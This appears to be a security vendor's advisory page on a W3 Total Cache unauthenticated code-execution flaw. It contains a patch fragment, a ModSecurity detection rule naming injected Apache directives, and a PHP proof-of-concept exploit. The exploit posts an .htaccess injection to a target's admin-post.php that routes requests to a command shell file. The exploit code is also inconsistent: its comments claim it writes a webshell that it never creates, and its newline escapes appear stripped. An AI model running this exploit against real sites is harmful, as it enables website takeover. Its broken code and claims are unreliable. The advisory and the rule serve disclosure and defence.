+			if ( $this->w3tc_c->get_boolean( 'browsercache.security.xfo' ) ) {
+				$dir      = $g( 'browsercache.security.xfo.directive' );
+				$w3tc_url = trim( $g( 'browsercache.security.xfo.allow' ) );
+				if ( empty( $w3tc_url ) ) {
+					$w3tc_url = Util_Rule::sanitize_directive_value( Util_Environment::home_url_maybe_https() );
 				}
-				$rules[] = "add_header X-Frame-Options "" . ( 'same' === $dir ? "SAMEORIGIN" : ( 'deny' === $dir ? "DENY" : "ALLOW-FROM $url" ) ) . "";";
+				$rules[] = "add_header X-Frame-Options "" . ( 'same' === $dir ? "SAMEORIGIN" : ( 'deny' === $dir ? "DENY" : "ALLOW-FROM $w3tc_url" ) ) . "";";
 			}

-			if ( $this->c->get_boolean( 'browsercache.security.xss' ) ) {
-				$dir  

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57623
# Virtual patch for W3 Total Cache unauthenticated RCE via injected .htaccess rules.
# This rule blocks requests to admin-post.php with the w3tc_save_options action
# that contain suspicious values in the browser cache security parameters.
# The regex matches attempts to inject newlines and Apache directives.
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'W3 Total Cache CVE-2026-57623 RCE attempt',severity:'CRITICAL',tag:'CVE-2026-57623'"
  SecRule ARGS_POST:action "@streq w3tc_save_options" "chain"
    SecRule ARGS_POST:/^browsercache__security__.*$/ "@rx [rn]|RewriteRule|RewriteCond|AddHandler|AddType|php_value|php_flag|SetHandler" "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57623 - W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary Code Execution

// Configurable target URL
$target_url = 'http://example.com'; // Change this to the target WordPress site

// The malicious payload to inject into .htaccess via the X-Frame-Options allow parameter.
// This creates a simple rule to write a PHP webshell.
$malicious_payload = "SAMEORIGINnRewriteEngine OnnRewriteRule ^(.*)$ /wp-content/uploads/shell.php?cmd=$1 [L]";

// Step 1: Prepare the POST data to the browser cache settings page.
// This exploits the insufficient authorization check in the w3tc_save_options action.
$post_data = array(
    'action' => 'w3tc_save_options',
    'w3tc_save_options_nonce' => '', // Nonce is not validated for unauthenticated users
    'browsercache__security__xfo__allow' => $malicious_payload,
    'browsercache__security__xfo__enabled' => '1',
);

// Step 2: Send the POST request to admin-post.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Verify the exploit by checking if the .htaccess file was modified.
// A successful exploit would cause the server to rewrite requests.
echo "HTTP Response Code: " . $http_code . "n";
if ($http_code == 302 || $http_code == 200) {
    echo "Exploit attempt completed. Check the target's .htaccess file for injected content.n";
    echo "Injected payload pattern: " . $malicious_payload . "n";
} else {
    echo "Exploit may have failed. Check permissions and plugin version.n";
}

// Note: A real exploit would require the .htaccess changes to take effect,
// which often happens on the next request if the W3 Total Cache flush is triggered.
// This PoC assumes the attacker can also trigger a cache flush or .htaccess regeneration.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School